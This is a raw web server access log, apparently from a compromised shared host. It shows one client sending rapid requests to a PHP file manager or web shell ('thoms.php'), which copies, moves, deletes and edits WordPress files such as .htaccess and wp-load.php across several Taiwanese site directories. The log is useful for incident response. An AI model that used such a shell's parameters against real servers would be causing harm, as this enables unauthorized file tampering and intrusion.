45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /thoms.php?chmod=uploads&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=uploads&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content%2Fuploads&p= HTTP/1.1" 200 11937 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content%2Fuploads&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?del=languages&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13472 "http://163.245.207.76:443/thoms.php?del=languages&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content%2Flanguages&p= HTTP/1.1" 200 11930 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content%2Fthemes HTTP/1.1" 200 13114 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /bft.com.tw/wp-content/uploads/ HTTP/1.1" 200 768 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?chmod=themes&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=themes&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content%2Fupgrade&p= HTTP/1.1" 200 11936 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /bft.com.tw/wp-content/index.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content%2Findex.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content%2Findex.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /bft.com.tw/wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/bft.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /bft.com.tw/wp-content/upgrade/ HTTP/1.1" 200 693 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /bft.com.tw/wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76:443/bft.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /bft.com.tw/wp-content/plugins/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content%2Fplugins HTTP/1.1" 200 13122 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?dl=index.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13473 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?del=plugins&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13474 "http://163.245.207.76:443/thoms.php?del=plugins&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content%2Fplugins&p= HTTP/1.1" 200 11927 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:06 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content%2Flanguages HTTP/1.1" 200 26697 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?del=upgrade&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13457 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?del=uploads&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13473 "http://163.245.207.76:443/thoms.php?del=uploads&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?chmod=languages&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=languages&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=cgi-bin HTTP/1.1" 200 11316 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=bodbooks.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18660 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=besth2o.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18661 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=bfl.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=bioway88.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:07 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=upgrade HTTP/1.1" 200 11276 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=bestjudy.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=bft.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=booking-wise2.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=broadweb.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11394 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=biotaiwan.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=wp-content HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=beauty-dental.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=bestzyx.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=betcity.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=bogroup.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=bossini.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18659 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p=big-wife.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?edit=wp-load.php&p=bft.com.tw HTTP/1.1" 200 13399 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=bft.com.tw HTTP/1.1" 200 17004 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&p= HTTP/1.1" 200 11926 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17320 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2F.tmb HTTP/1.1" 200 11337 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /bft.com.tw/wp-admin/?step=0 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11310 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17431 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11308 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:09 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-admin/?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?edit=wp-trackback.php&p=bft.com.tw HTTP/1.1" 200 13861 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=bft.com.tw HTTP/1.1" 200 17432 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=betcity.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=upgrade HTTP/1.1" 200 11316 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=bossini.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
